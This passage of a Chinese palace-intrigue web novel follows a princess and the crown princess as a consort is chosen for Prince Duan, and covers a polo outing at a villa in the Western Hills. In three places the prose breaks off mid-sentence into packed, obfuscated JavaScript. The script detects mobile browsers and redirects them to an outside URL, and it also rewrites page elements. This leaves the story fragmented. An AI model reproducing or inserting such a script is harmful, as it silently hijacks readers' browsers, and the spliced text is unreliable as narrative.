“好了,回去吧,这些日子多陪陪章太医。司药司与太医署并不在一处,你们父女俩往后见面的机会可就要少上许多了。” 章辛夷认真地一点头,又深深朝元嘉一俯身,这才沿着来时的路离去。 只是不曾想,一桩事毕,另一桩事倒又起来了。 “……你可听说了?” 翌日,燕景璇不请自来。 “什么?” 元嘉正抬手替人斟茶,闻言不解其意。她这段日子皇宫、太子府的两头跑,却也没听到什么风声,竟能叫燕景璇专程跑这一趟。 “怕你长日无聊,特意来给你透个风,”燕景璇掩口一笑,“宫里头只怕不日就要有喜事了。” 元嘉微微睁大了眼,“这、也不知是谁的喜事?” “还能有谁,”燕景璇撑着下颌,又往食匣内挑着果脯,“除了端王,这宫里成年了的皇子公主,还有谁没成家?” 端王,便是许贤妃所出二皇子。 元嘉故作诧异地打量了人几眼,“不还有皇姊您吗?” 燕景璇一时微愣,而后笑着嗔了元嘉一眼,“如今倒可以同我开玩笑了,当初也不知道是谁,待人疏远的很呢。” 元嘉微微一笑,只问道:“可我却听说,那端王秉性风流,正妃虽亡故,女人却没有断过。这样到处拈花的人,又怎会突然想通要续娶了?” “哪是他想通的。” 燕景璇轻嗤一声,“上两日端王往白云观游玩,瞧上里头的一个女冠了。本想略施银钱让其入府,哪知那女冠竟是邹驸马家的表侄女……” “邹驸马?” “便是康乐长公主的夫婿,”燕景璇见元嘉有些茫然,又解释了两句,“你家小妹可还上着人家的女学呢。” 元嘉顿时了然。 “康乐长公主最是护短,当即便入宫向母后哭诉。偏巧那日,父皇也在清宁宫陪着母后呢,这下便全都知道了。端王被叫进来斥责了一番不说,还被罚俸关了禁闭,之后便传出话来要让端王续娶。” “这……” 元嘉有些欲言又止。娶个王妃便能约束己身的话,先王妃在时怎不见其浪子回头? 燕景璇自然看出了元嘉的想法,手下动作微顿,只道:“是贤妃去求的。” 许贤妃? 这倒是意料之外,情理之中了。 只是她印象中的许贤妃,是个极娴静的女子,说起话来温良随和,与端王的性子十足的相左,也不知这对母子是怎样的相处之道。 “端王府这两年也乱的很,”燕景璇根本懒得遮掩,“女人虽多,可一个有名分的都没有。唯一的孺人还是先王妃在世时册的,偏偏又没有孩子。” 元嘉垂目不语,指尖轻轻从杯壁上划过。有孩子的没有身份,有身份的却没有孩子,偏端王也从不表态,以正名分,可不就得乱套了么。 “只可惜我那小侄儿,虽是先王妃舍了命生下来的,可至今未定尊位,下头的兄弟又多起来了,也不知将来是何造化。” 燕景璇感慨万千。 “何不叫那孺人养着小郎君,彼此间也算是个依靠?” “宋孺人总想着自己还能得一儿半女呢,”燕景璇斜觑了人一眼,“端王自己都不管不顾的,还指望其他人在乎吗?” “那如今是谁在照顾?” 元嘉拧着眉道。 燕景璇撇了撇嘴,“还能是谁,除了贤妃,谁还愿意替他收拾这乱摊子。” 元嘉沉默了一下,“那、是哪位娘子被选中做这端王妃了?” “还没定呢,”燕景璇百无聊赖,“说是要寻个由头,先瞧人再选定,最好能找个管得住端王的。” “……这是又要办场赏花会了?” 话里的场面太过熟悉,元嘉只一听便明白了……年初那场赏菊宴还历历在目,如今是怎么,竟又要再来上一场? “原是想让礼部选的,可礼部择人从来只往秉性温良、恭顺谦和里选。这样脾性的女子,管不住端王倒也无碍,可就怕像先王妃一样,事事忍让,到头来忧悒而终……贤妃总怕再把哪家的好女郎给辜负了。” 燕景璇一口气说完,见元嘉仍旧垂目聆听的模样,蓦地一笑,“是了,先王妃去的早,想你不仅没见过,更是连人都没听过了。如今怕也没几人记得,那端王妃未嫁前,也是上京城里有名的女郎。” 话里倒夹杂着几分惋惜。 “虽无缘得见,可若是皇姊愿意,便与我讲讲这位端王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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元嘉却越听越不对劲,燕景璇话音刚落,便忍不住道:这些怕都是皇姊你自个儿喜欢的吧?” “既要选个能压得住端王的,自然不能是些内敛拘谨的女郎,”燕景璇唇角一勾,“马球策猎,观人秉性再合适不过了。” “那放天灯呢?”元嘉追问道,“非年非节的,这又是什么说法?” “那日父皇母后要去,贤妃也要去,你我要去,宗室女眷们也要去,”燕景璇笑得更开怀了些,“放天灯替我朝祝祷,替父皇祈福,岂不是一举数得的好事。” “父皇、也去?” 元嘉这下是真的惊讶了。 燕景璇点头,“这段日子,父皇康健了不少。太医说,去山间走走,看看风景,心胸疏阔些,对身体也更好些。” 元嘉看着燕景璇,一句话在嘴里含了半天,到底没有说出口。宫里的贵人在上头坐着,下头打球狩猎的女郎们又有多少敢放纵洒脱的呢? 不过……也罢了。这样的场合,从来都不缺有心人的,又何必她庸人自扰。 元嘉回想起燕景璇方才的话,突然问道:“只有贤妃?德妃不去?” “德妃自然也要去。”燕景璇笑意淡了些,“虽说是为端王选妃,可四妃空置其二,余下贤、德二妃,总是要一视同仁的。” 元嘉点了点头,不再多言。 上次太子选妃,德妃为太子生母,尚不能亲临相看,如今端王择妻、贤妃择媳,倒让德妃一同列席了,还真是“一视同仁”哪。 提起薛德妃,燕景璇显然失了大半兴致,又坐了片刻便要离开。元嘉见暮色已至,便也不再留人,只将其好生送出了院门,这才倚回软榻兀自发呆。 帝后、嫔妃、宗室女眷…… 便是不为端王妃的位子,心怀其他心思而来的人,怕也只会多不会少了。 保不齐比赏菊宴还热闹。 65. 西山院 九月初五,诸事皆宜,显然是个被精心测算过的好日子。 那日,燕景璇自太子府而去,第二日便开始动作起来。先是以自己的名义在京中广发邀帖,又着人去传出端王要续娶的消息,更刻意在一众探听的人中散布些真假难辨的谣言。 端王虽风评不佳,却还是有不少人盯上了这次的西山别院之行。 一时间,上京城里人心浮动,各方摩拳擦掌,跃跃欲试。待到约定之日,整个西山更是人影攒动,热闹非常。更有好事者连夜在山脚开设赌局,端看哪家娘子能高中魁首。 比起外头的热闹,太子府里倒显得要平静许多。 元嘉这次打定主意要带上倪娉柔几个出府,以弥补此前的遗憾,是以一早便遣人去各个院子里问了一遭,连卫妙音和徐丽华处都没落下。倪、刘二人自无二话,卫妙音却以自己身体欠佳婉拒了。至于徐丽华,更是连借口也懒得找,直接不见人了。 “徐家没倒台前,她是京城里的头一份,去哪都是众人捧着。如今失了倚靠,又没了身份,她心气高,怎愿再出去看别人脸色,还不如呆在太子府呢,关了门便是自家天地,可不就由着她性子作么!” 倪娉柔如是道。 说来也怪,倪娉柔虽一副与徐丽华势如水火的模样,可在揣摩前者心思的时候,往往又一针见血,十足的洞悉模样。 倒叫元嘉暗自称奇。 如此这般,最后出门的,又只剩了倪娉柔与刘婵二人。 元嘉本想作惯常打扮,可想起燕景璇那日的话,犹豫再三,还是换了身轻便装束。 窄衣小袖,半臂坦领,是元嘉婚后少有的利落模样,可为着‘太子妃’三字,红珠仍在发式妆容上另费了心思——双刀半翻髻,赤金流苏钗,红妆花钿,面靥斜红。一身下来,除眉宇间多了几分稳重,衣香鬓影间仍是旧日模样。倒叫人陡然记起,这位威仪日重的太子妃也不过是个才过笄年的年轻女郎罢了。 元嘉垂目凝视着镜中的自己,抿着嘴道:“去取那支衔珠凤首簪来。” 红珠依言取来。 元嘉抬手接过,左右比划了两下,反手将簪子插在脑后,又取下鬓边的流苏钗,另在妆奁内寻了几枚样式精巧的花珠戴了上去。 “行了。” 这凤首簪是燕景祁所予,又是娄皇后陪嫁之物,今日娄皇后在场,又不缺贵妇女眷,少不得要戴上一戴。 见元嘉起身,在一旁无所事事了许久的念夏总算有了动作——从立架上取来条金银线刻芙蓉纹的披帛,一侧搭于元嘉肩部,一侧缠绕在手背间,又小心抚平了褶皱,待瞧不出一丝不妥后,才挪步退后。 元嘉这才往正门处去。 行至马车前,倪、刘二人亦是刚到不久,正站在阶上看着内侍宫女们往马车里装东西。见元嘉过来,皆笑盈盈地上前见礼。 二人今日穿的与元嘉大同小异,都是便于活动的轻简装束。 逢春从元嘉身后绕出来,亦指挥着人往马车里搬放物件。 天色微蒙,空气中尚有些许凉风吹过。元嘉上前两步,与倪、刘二人站在一起,彼此间相互打量了几眼,皆忍不住笑出声来。 “见惯了你穿曳地长裙、宽袖大衫的样子,今日这打扮倒有些不习惯了,”倪娉柔凑近了些,小声道,“不过,还是好看的。” 元嘉被这话说得眉梢带笑,连簪上的凤翅也跟着颤动起来。 “你从前怎不这样夸我,莫不是为了叫我今日也夸上你一句,才对我说这好话?” 元嘉故意将语调拖得老长,十足的调侃意味。 一旁的刘婵忙用纨扇遮住下半张脸,将快要遮不住的笑意隐于扇下。 倪娉柔嗔了人一眼,刚说了一个字便又被元嘉截去话头—— “就一日的行程,你这是要带多少东西去?” 元嘉站在阶上,一眼望去,底下忙碌的人竟大半是梨云院的,当即讶异道。 “哪里多了,”倪娉柔顿时被转移了注意力,“也就备了两身衣裳和替换的首饰,还有我惯用的熏香、脂粉,旁的都是些在车上打发时间的玩意吃食罢了。” 倪娉柔是兴致最高的。自打说了要去西山别院,便嘴里心里的念叨着,成日掰着指头算日子,好不容易捱到了,自是雀跃非常。 “我瞧你,倒比宜妤还像个孩子。” 刘婵摇头失笑。 三人你一言我一句的,颇有几分自得其乐的韵味。事实上,她们本不需要提前过来等着的,等底下人收拾妥当了直接出发也是一样,可一个人待在院子里总是无趣的,还不如几个人凑成一团,也算得消磨时光了。 不多时,众人收拾停当,元嘉几个便也止了话头,彼此微微颔首,各自登上马车。 一路上人声鼎沸,西山脚下尤甚。待到别院时,日头已然高照,正门外人语马嘶,宫人们或接引女眷入内,或指挥车辆停靠,一派的热闹景象。 见带有太子府徽记的马车驶来,皆停下手中事宜,俯身请安。车驾却不见停留,只径自驶入内院。直到整个车身消失在门后,其余人等才直起身继续未完的招待。 有相距较远的女郎,刚下马车便被同行者压着身子行礼,又被拉着往路边避让,口气难免冲了些,“马车上坐的是谁,熙宁公主的地方,竟也敢这么大阵仗?” “娘子说笑了,那里头坐的都是东宫女眷,合该受咱们的礼才是。”身侧接引的宫人笑道,“您瞧,走在最前头的便是太子妃殿下的车驾。” 此话一出,那女郎顿知自己说错了话,当下有些白脸,好在被身边人安慰了两句,这才轻咬贝齿,神色复杂地往内院走去。 外头发生的一切,元嘉自是不知,只坐着马车一直到别院的最深处。等到掀帘下车时,正见燕景璇领着人持棍策马而来。 比之元嘉,燕景璇穿着更是随意——丹色胡服、彩锦缠头,腰束革带,脚踩靴履,浑身上下没有一件多余的饰物,可通身的气派仍叫人不敢直视。 燕景璇也瞧见了元嘉的身影,当即一笑,“可巧,快快上马与我去赛上一场!” 元嘉踩着脚凳下车,站稳后昂头望向燕景璇,脸上是未散尽的笑意,“那可不成,我只会骑马,打球的技艺却是再差劲不过的,若是上了场一球未进,岂不要被人笑话死?” 燕景璇笑得更开怀了些,朝左右吩咐了两句,便翻身下马,快步走到元嘉身前。 “既如此,我领你四处走走,一会人多起来,就再闲散不得了。”燕景璇一面将手上偃月形的球杖交给随侍宫女,一面朝元嘉身后将将站稳的倪、刘二人颔首示意,“两位良娣也一起?” 燕景璇显是与元嘉相谈更欢,倪、刘二人自不会赶着做那凑兴之人,当即婉拒。 “画屏,”熙宁公主吩咐道,“带两位良娣去西暖阁稍作休息,再往马球场去。” 又道:“沅表妹与康敏县主一早便来了,此刻也不知在哪儿胡闹呢。你们若是呆得无聊,便让宫女们出去找找,也好一起说话解闷。” 想是因荷风园那次,见柳、穆二人与元嘉她们待在一处,才特意提了两句。 果然,倪娉柔眼睛一亮,朝燕景璇道谢一句,便与刘婵相携而去了。 见两人身影渐远,燕景璇这才感慨道:“倪良娣瞧着,倒比从前有生气多了。” 元嘉顺着视线望去,果如燕景璇所说,倪娉柔整个人,连背影都带着显而易见的雀跃。元嘉脸上浮出一抹不甚明显的笑意,却没有再搭话。 燕景璇也不过随口一句,旋即便领着元嘉往另一方向走去。随侍的人不敢紧跟,便落后一段距离听着响动。燕景璇原想着,元嘉不曾来过西山别院,这次索性带着人往花草池苑走上一圈,便算是游园了。不料今日宾者如云,到处都是来参宴的女眷,一路行来,不过十步便有人上前请安,几次三番下来,生生叫燕景璇失了继续的兴致。两人遂避于廊亭之内,燕景璇站在一盆精心打整过的兰草之前,元嘉则侧坐一旁。 “今日群芳竞艳,瞧着竟比赏菊宴那日还要热闹。”燕景璇拈下几瓣枝叶,左右摆弄了两下便皱着眉扔掉,“我却不知自己邀了这样多的人来。” “这满皇城的人都知道,西山别院里要出一位王妃娘娘了,”元嘉摸出随身携带的绣帕,又递到燕景璇眼前,“可不就是有心的无心的都来凑这热闹了吗。” 燕景璇抿着嘴接过,随意擦拭了两下,便将其收进了佩袋,另从襟口取了自己的方帕递出去,“你这帕子,等我洗净了再还你。” 元嘉并不在意,收了便直接放回腰侧,“只这场面,不该是皇姊你料想之中的事吗?” 闻言,燕景璇脸色更差,掀袍跨步便挨着元嘉坐下,“便怪端王了。” “就他那副脾性,高门大户的女子哪家愿嫁。故而贤妃与母后商议,索性不拘门户,年纪大些也不要紧,只需身家清白,性子若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元嘉将视线投在这位眉清目朗的青年身上,微微颔首,便跟在燕景璇之后上了辇。原本随在后头的宫人们陆续向前,红玉、逢春自是随在元嘉两侧,燕景璇身边却仍只有郑华一个,原先策马时便随在身边的人,如今依旧落在队伍的最后头。 “母后她们要等着父皇下朝后才会一起过来,咱们先过去,看看热闹。” 熙宁公主侧头道。 “热闹?”元嘉笑道,“还有什么热闹比选端王妃的热闹更大,且你这做主家的不在,怕是这热闹还起不来呢!” “虽说是喊人来打球策猎的,可这暑热还没彻底退下去呢,来的人又都是涂脂抹粉、盛装打扮过的,有几个是愿意下场的?”燕景璇百无聊赖,“我索性让宫女们凑了两队,不愿意下场的,便在旁边添彩头好了。如今只怕第一场都已经赛完了。” “总是有的,”元嘉笑意不减,“阿沅不是一早就来了吗,这会儿怕不是已拉着康敏县主下场了。” 燕景璇一听,倒也觉得元嘉说的在理,兴致也高了几分,又催着宫人加快脚程,一行人直奔马球场而去。 不远处,两条纤细人影正安静地伫立在廊亭外。 “妹妹何必瞧得如此出神,再过两年,便是妹妹坐在那步辇之上,受万人瞩目了。” 赵妍和站在树荫密布之处,望着远去的队伍轻声道。 “别以为你今日跟来了西山别院,就能在我面前说出这样无根无据的话。不过是母亲被你讨好,才抬举你,给了你这个脸面罢了!” 赵舒和近来虽日渐稳当,可赵妍和仍是她越不过去的一道坎,轻易便能燃起她满腔怒火。 “妹妹混说什么,”赵妍和一脉云淡风轻,“姊姊已然得偿所愿,余下的自是周全妹妹你了。” 赵舒和狐疑地打量了人一眼,见她面色如常,更有闲心朝自己一笑,心中更是疑忌。 “想来今日过后,我的婚事便有着落了。”赵妍和看着正站在枝头上欢快鸣叫的雀鸟,如释重负般吐了口气,“母亲这样厚待我,我自会投桃报李,替妹妹撑到来日出嫁之时。” “……谁要你撑!” 赵舒和被说中心事,下意识挪开双眼,却还是有些气急败坏。 “真不需要我撑?” 赵妍和故意反问。 几个字逼得赵舒和说不出话来,一张俏脸被气得微微有些泛红。 “不管你信不信,我这话都说得真心实意,”赵妍和收敛了几分神色,“只今日这场合,你与其在此处与我拌嘴,还不如去那人声鼎沸的地方,也好替自个儿挣个脸面。” 赵舒和脸色更差,福昌郡主便爱这样训人,赵妍和再说这话,她更是半分也听不得,陡然间竟生出几分逆意,瞪了人一眼便往更僻静处走去。 赵妍和看着好笑,本想趁此机会暂时与赵舒和分开,可一想到福昌郡主还在前头替她张罗,自己又担着长姊这重身份,实在不好视若不见。 无奈摇了摇头,脚步一转,便追着赵舒和而去。 66. 因线起 元嘉二人到时,马球场上正赛得热闹。但确如燕景璇所说,驰骋在球场上的多是侍奉别院的宫女,真正上场的女眷却寥寥可数。 元嘉眯着眼睛细细打量了片刻,不出意外地在一群裙衫中寻见了两个熟悉的面孔。 “喏,可不就是她二人吗!” 元嘉笑着朝燕景璇指道。 燕景璇顺着方向一望,顿时笑开了颜,“怎么还做起对手来了!” 话音刚落,柳安沅便绕过对面的重重围堵打进一球,身边欢呼声骤起。前者更是咧嘴大笑,又驱马行至球场某处角落,一面将球杖搭在肩上,一面朝某个方向舞着手,上下唇瓣几度开合,似乎在向哪个认识的人兴奋示意一般。 燕景璇又顺着视线看去,却是男男女女混站了一堆,场面更是喧闹,分不清谁在说话,又是谁在回应。本只是寻常一瞥,燕景璇却在瞧清人群中的某个身影后咦了一声,“谢家那小子都快与世隔绝了,今日竟能出现在这儿。” “……什么?” 元嘉奇怪道。 “就是汾阳郡王的孙儿,名字记不清了,印象中他年幼时害过一场大病,后来虽好了,但因为他爹就是病故的,所以汾阳王妃总是不放心,更甚少允他出门……听说学问倒还不错,似乎已准备来年下场一试身手了。” 想了想,又有些不确定道:“莫不是跟着汾阳王妃来的……说来这谢家小子也到娶妻的年纪了,难道是想替他寻个佳妇?” 元嘉失笑,“便是,也不过人之常情罢了。皇姊自己不都说,有许多人想借今日这场合与别家结亲的吗?” “……也是,”燕景璇唔了一声,又招来一旁的小内侍,“现如今是哪边赢着?” 那小内侍垂目道:“回公主,康敏县主略领先些。” “彩头呢?” “两边倒不相上下。” “既如此,我便为阿沅再添些彩头吧,”元嘉闻言一笑,将手上戴的金钏取了下来,“若是胜了,再另添银钱给今日上场的宫女。” 那小内侍伶俐地接过,随即稳稳托在掌心。 “你既替沅表妹压阵,那我自得替康敏县主摇旗呐喊了。”燕景璇从指尖取下一枚精巧玉戒,亦放至那内侍掌心,“去吧,本宫与太子妃一样,胜的那队另赐银钱。” 小内侍又是一声脆应,这才躬身退下。 这一幕,自然被场上其他女眷瞧在眼里。都是在上京城里住着的,便是不熟悉元嘉,也认得出名声在外的熙宁公主,二人身边又乌泱泱的围着一堆服侍的人,元嘉的身份便也不难猜出了。 一时间,议论声愈发嘈杂,更有不少女眷随着二人动作,取下所佩饰物添彩助兴。跃跃欲试者、踌躇不决者,比比皆是。 适逢半场休憩,柳、穆二人驱马行至两人身前。 “老远便瞧见你们这的热闹了,”柳安沅利落下马,“快与我说说,又有什么好玩儿的了!” “有道是‘士别三日,当刮目相待矣’,阿沅如今的骑术也渐长了,”元嘉掩口一笑,“想来靖安郡主也无由头再罚你了。” 说的便是年初时,柳安沅学骑马不成,反从马上跌下去的事情了。 “嘘!” 柳安沅左右张望着,又朝台子的方向看了好几眼,这才放松般吐了口气。 燕景璇顺着视线往高台望去,往来穿梭的,多是华冠丽服、丰容靓饰的已婚妇人,其中倒并未瞧见靖安郡主的身影。 “靖安姑姑可没在上头呢,你且胆子大些。” 谁知柳安沅听了,整张脸都垮了下来,连牵着马绳的手也松了劲儿,眼瞧着是失去兴致了。 燕景璇有些莫名,却仍笑道:“这是怎么了?莫不是、靖安姑姑又说你了不成?” “万家的两位妹妹今日也来了。” 穆瑶筝显然知道些内情,接着燕景璇的话解释了一句。 “……表姊若没在高台上望见我母亲,”柳安沅撇了撇嘴,“那便是她领着万家两位表妹去认人了。” “万家?” 燕景璇愣了一下,旋即恍然,“便是你姑姑的那两个女儿罢,我原以为她们是来小住的,怎么竟是要长居了?” “姑姑、姑父俱已离世,两位表妹孤苦伶仃的,祖母心疼,自然想长久留在身边。” 大抵是被许多人都问过同样的问题了,柳安沅一句话答得干脆顺畅。 “笑话,”燕景璇嗤笑一声,“万家的人又不是死绝了,长辈亲族俱在,算什么孤苦伶仃,叫不知道的听了,还以为万家成什么破落户了,你家祖母可真敢想!” 这话从燕景璇嘴里说出来,倒无人敢置喙,只是到底有议论长辈之嫌,元嘉便扯了扯前者的袖角,抿嘴一笑又将话题转了回来,“老人家心疼小辈也是常事,只是怎么让郡主领着见人去了?” “还能为甚,”柳安沅看着燕景璇的眼里带着几分委屈,“只怪表姊今次的阵仗太厉害了,竟将上京半数以上的贵妇女眷都引了过来,这才叫我家祖母起了在西山别院寻觅外孙婿的心思。” 一句话说的怨怨哀哀,倒叫穆瑶筝没忍住笑出声来。 见诸人视线投向自己,穆瑶筝连忙捂住嘴,勉强止住了笑意,道:“我之前还同阿沅说呢,她家祖母好生奇怪,万家虽远在齐州,却也是当地的大族,两位妹妹的祖父母俱在,叔叔伯伯也都好生生的,怎么竟叫外祖家操心起婚事来了。” “老夫人觉得柳二娘嫁去万家受了薄待,自然也觉得两个外孙女儿在万家饱受煎熬了,”燕景璇有些不悦,“只烦累靖安姑姑了。” 穆瑶筝竟也跟着点头,“是呀,就她家祖母那个脾性,对着郡主娘娘都能吹眉瞪眼的,给外孙女找夫婿,可不是鸡蛋里挑骨头吗,当真是件苦差事。” 几人正说着话,忽听马球场上传来一阵欢呼,下意识扭头望去。原是赛球的两队已决出了胜负,那阵欢呼便是从赢了彩头的宫女中发出的。 元嘉细细看了两眼,待瞧清楚是哪队获胜之后,方才回头,“这下可好,跟你说几句话的工夫,倒把我的手钏给输了去!” 话里却带着笑意。 “看来你的手钏要归我了。” 燕景璇跟着一瞧,也笑了。 “什么什么?”柳安沅顿时瞪圆了眼睛,“什么输了赢了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263556|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “谁叫你俩都上了场,”燕景璇眉梢一挑,“我与太子妃便一人添了件彩头,想着替你们压阵,哪晓得……” 燕景璇拖长了尾音,一双眸子似笑非笑地瞧着柳安沅,满是揶揄。 这便是打趣了。 柳安沅顿时不依,嗔了人一眼,不服气道:“表姊怎不谢我,若非我拉着阿瑶过来,保不齐赢的就是我这队了!” 元嘉亦学了燕景璇模样,“我那手钏可是一对呢,如今倒好,为着你白白去了一只,往后还怎么戴得出去?” 说着又故意摇头叹气一番,将另一只手钏从腕间取下,又戴在柳安元的手上,“你若是本事,便将另一只从你熙宁表姊那讨回来,我这一对便都给了你。” “一言为定!”柳安沅昂着头,“下次我定戴着它来见你。” 燕景璇煞有其事地点了头,“既如此,我可得好生想想了,要让咱们的柳大娘子拿什么来换才行呢!” “表姊只管提,我一定能凑成一对的!” 柳安沅兴致高昂,抬起手腕又打量起来,越看越觉得这手钏样式精巧,在日光的映照下更熠熠生辉,心中不免又多了三分喜爱。 郑华本在一旁默默守卫,余光却忽然瞧见了什么,而后箭步上前,凑近燕景璇身边低声道:“公主,兰佩姑姑过来了。” 几人闻声回头,果见兰佩正绕开人群,又往她们这里走来。 “怎么就姑姑一个?”燕景璇笑着迎上去,“母后她们呢?” 兰佩先朝众人一见礼,这才道:“女君怕您等的久了,特意遣奴婢过来说上一声,让您领着诸位娘子先入座,她与贤妃、德妃两位娘娘一会儿就到。” “父皇呢?” 燕景璇听出了其中的遗漏之处。 “原是要一道过来的,”兰佩笑着回答,“只陛下说,此处女眷众多,他不便多留,索性在院门口拐了道,让端王陪着往其他僻静处去了。” “端王这就出来了?” 柳安沅脱口而出。 “既是替端王择妻,总得叫他知道择的是谁,”兰佩回道,“所以贤妃娘娘便去求了陛下,免了端王的禁闭,今日也一并过来了。” “许娘娘还是这般,”燕景璇颇为不满,“一遇上端王的事情,便什么也拎不清了。” “公主怎的又说起这话了,贤妃娘娘也算是公主的长辈呢。” 兰佩早在燕景璇出生前便随在娄皇后身边了,自己无儿无女,便将燕景璇视为了半个子侄,说起话来也不似寻常宫女般小心,可此刻也只能无奈道:娘娘爱子之心,倒也无可厚非。” 燕景璇显然不这么想,可还是听进了兰佩的话,只道:“我知道的,就是心疼许娘娘。” “既如此,咱们不若先去落座?” 穆瑶筝左右瞧了瞧,笑嘻嘻道。 兰佩亦是温声细语,“是呢,若女君过来了,见公主还在这儿等着,怕是要心疼的,许还会怪罪奴婢办事不力呢。” 燕景璇唇角微抿,勉强点了头便往另一处走去。元嘉几人亦朝兰佩颔首示意,这才跟上燕景璇的脚步,前后相继离去。 67. 果数定 高台上,燕景璇早已设座铺席,此刻携着元嘉坐在了右一的位置,柳安沅和穆瑶筝尚未出阁,坐的则更远了些。 见此情形,原本四散闲话的女眷们也陆续止了话头,在宫人的指引下先后入座。不多时,倪娉柔与刘婵也走了上来,又挨着元嘉坐下。 唯有正首及左手边的两个位子空置无人,便是留给娄皇后、许贤妃与薛德妃的了。 众人一坐下,立刻便有宫女上前服侍,琼浆碧霞、果品茶肴,一应俱全。 在场的大多是成婚已久的妇人,又为着彼此的心照不宣坐在一处,此刻推杯换盏,一边瞧着台下的热闹,一边小声交谈着。年轻的娘子们大多还在马球场上嬉闹,却也不乏有如柳、穆一般玩的倦了稍作歇息的女郎在下首坐着,自顾吃茶。 “阿沅方才就在马球场呢,还以为能一并瞧见你们,”元嘉微微侧头,却在看清倪娉柔的打扮后吃了一惊,“这才分开了多久,你竟又换了套首饰了?” 刘婵离得近,闻言忍俊不禁。 “本是要去找阿沅的,”倪娉柔勉力维持着面上的平静,“可不知怎的,竟有许多女眷围着向我请安……平日里分明连面都没见过!” “请安也就罢了,偏还夸赞起倪妹妹今日这身打扮来,”刘婵接过话头,“这妮子听得脸发燥,一来二去的,竟将插戴的大半簪钗都赏了出去。” “我实在是扛不住,便寻了个由头和刘姊姊回了暖阁,直到来人说你们入席了才又出来。”倪娉柔神色恹恹,“所幸今日备了些钗环首饰在马车上,这才不至于鬓发空空。” 元嘉只听了一半,便已经藏不住笑意,待到倪娉柔说完,更是笑得要展袖遮掩的地步。倪娉柔嗔了前者一眼,抬手抚了抚发髻,却只摸到一支孤零零的金簪,只好又放下手去。 元嘉轻咳一声,“回头把尚功局的唤来,再与你做一整套的头面,可好?” 倪娉柔这才又高兴起来,“我可是不会客气的。” “谁要你客气了!” 元嘉笑骂一句。 又过了几刻钟,娄皇后并贤、德二妃总算姗姗来迟。 场上诸人立刻起身肃拜,娄皇后却仍是那副温和可亲的模样,笑着叫人坐下后便也跟着入席。不提端王,只和左右聊着一路上所见的热闹。 燕景璇自娄皇后到时,便坐到了前者身边,或凑近娄皇后耳边说话,或与其他女眷笑谈。有她在侧,原本冷清下来的场合又逐渐恢复了喧闹。 元嘉端起眼前的杯盏,借着吃茶的工夫扫视了一圈──大多是她过去曾见过的,甚至不少还在年初的赏菊宴上出现过。但在这一众人当中,还是福昌郡主的出现最叫她吃惊。 前次三公主行宴,福昌郡主称病未至,再之前的赏菊宴,也是由赵舒和领了一通进补之物回去。本以为这次也难见其人,不想却稳坐众女眷之中,面色红润,和左右言笑晏晏,与其中一人尤显亲热。 托柳安沅的福,元嘉对福昌郡主与靖安郡主之间的纠葛略知一二,识得赵舒和后,更透过她看到了福昌郡主的脾性──贵人眼高,傲睨一切,是经年居于人上才能养出的气性。除了已逝的先太后,福昌郡主何曾对谁展露过这样的和善,更别说亲热的好似一家人。 元嘉的眼里带着几分好奇,可很快又收敛了神色,只重新将视线移回马球场。看到起兴时,还顺手取下头上的花珠添彩助兴。 另一厢,不论周围人如何动作,娄皇后始终岿然不动,并不显露半分的偏好,任由有心人来回试探,连旁居一侧的许、薛二人也没能幸免。 正是一片沸热之时,一位着赭色衣袍的内侍悄然走到娄皇后身边,躬身凑在前者耳侧说了几句话,又如来时般阒然而去。 燕景璇离得近,便也听清几分,当即变了脸色。娄皇后却仍旧云淡风轻的模样,除眸中更多几分深色以外,并无半分异样。 “福昌郡主瞧着,倒比之前康健了许多。” 娄皇后微抿了口茶水,视线扫过人群,似是不经意道。 福昌郡主正与身边人说着话,不想娄皇后主动提及,愣了一下才道:“幸得宫内看顾,平日里恩赏不少,年初又得您恩赐小女山参,妾平日里服着,天长日久的,如今竟觉得身子比从前有力多了。” “本宫也瞧着郡主面色红润,又是难得的健谈,怕不是喜鹊登枝,要有好事临门了?” 燕景璇冷不丁的开口,虽说是句好话,可听着却叫人奇怪。 什么叫做,要有好事了? 福昌郡主亦是犹疑。她今日本属意替赵妍和寻下一门亲事,两家人先走动着,等过两年尘埃落定,再行下定、送人出嫁的事。 如今不过刚与人透了口风,八字尚无一撇的事情,如何谈得上好事临门? 福昌郡主心下想着,面上却丝毫不显,只笑道:“妾府上的一位姨娘,前些时候叫诊出有身孕了。侯府添丁,妾也高兴,想来这便是好事了。” “确是件好事呢,”娄皇后噙着一抹莫名的微笑,“郡主是个有福气的人。” “便承皇后殿下吉言了。” 福昌郡主面色如常,甚至连笑容也更大了些,倒似真心实意一般。 这话过后,娄皇后也不再继续,转而和许、薛二妃低声絮絮起来。福昌郡主依旧是那副得体的笑容,见娄皇后注意力从自己身上移开,眼睑微垂,而后又似无事般与身旁人闲话起来。 不多时,娄皇后言说宫中尚有事务等着决断,携了许、薛二妃便起身离去了。众人又是拜送,彼此面面相觑,不知发生了什么变故。 “竟都这个时辰了……” 燕景璇像是无事发生一般,只淡淡道:“侧院已备好菜肴,诸位娘子可先去用膳。午后还有策马射猎,诸位请一定玩得尽兴才是。” 众人有些迟疑,倒是靖安郡主灿笑道:“早听说公主别院中的庖厨炙猪肉乃是一绝,今日倒是有口福了!” 说着便将柳安沅唤到身边,母女俩相携而去,还拉上了穆瑶筝。 既有人带头,余下的便也三五结伴地散去。马球场上的角逐还在继续,可已然失了欢呼的围观者,场面顿时冷清下来。 不多时,高台上只剩了燕景璇、元嘉、倪娉柔和刘婵。 “你怎的不去?” 